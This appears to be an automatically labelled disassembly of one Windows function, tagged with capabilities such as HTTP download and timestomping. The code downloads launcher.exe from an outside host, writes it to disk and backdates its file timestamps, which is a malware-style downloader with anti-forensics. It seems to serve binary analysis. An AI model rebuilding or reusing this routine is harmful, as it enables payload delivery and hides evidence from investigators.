Function at 0x180007f80
Capabilities:
Create http request
Read data from internet
Receive data
Timestomp file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x10e0]
mov eax, 0x11e0
call fcn.180111800
sub rsp, rax
mov rax, qword [0x18015f080]
xor rax, rsp
mov qword [rbp + 0x10d0], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
mov r8d, Ordinal_35
lea rdx, str.https:__cdn.gosth.ltd_launcher.exe
lea rcx, [rbp - 0x68]
call fcn.180007920
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8d, 0xa
lea rdx, str.E:App.exe
lea rcx, [rsp + 0x70]
call fcn.18000e2a0
nop
xor esi, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Downloader
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x18000820e
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x180008205
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov qword [rsp + 0x68], rsi
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0xd0]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1800080d1
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x1800080d1
mov r9d, eax
lea r8, [rbp + 0xd0]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x58]
call fcn.18000f0a0
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0xd0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x180008091
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
cmp rcx, qword [rsp + 0x60]
je 0x1800081cb
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rdx, qword [rsp + 0x70]
mov r8d, Ordinal_35
lea rcx, [rbp - 0x40]
call fcn.18000ca60
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rbx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
cmp qword [rbp + 0x48], 0
je 0x18000818a
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
sub r8, rdx
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x38]
call fcn.18000c9a0
test rax, rax
jne 0x18000818a
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], rbx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x38]
call fcn.18000b540
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x180008205
mov rdx, qword [rsp + 0x68]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008200
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180008200
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180110ba0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x48], 0x307e5
mov ebx, 3
mov dword [rsp + 0x4e], 0x13001b
mov dword [rsp + 0x52], Ordinal_60
mov word [rsp + 0x56], si
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x18000829d
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov edx, 0x100
mov r8d, 7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000829d
lea r9, [rbp - 0x70]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1800082e1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800082dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800082dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180110ba0
movdqa xmm0, xmmword [0x1801472d0]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], si
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x180008331
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000832c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000832c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180110ba0
mov rcx, qword [rbp + 0x10d0]
xor rcx, rsp
call fcn.180110b80
lea r11, [rsp + 0x11e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret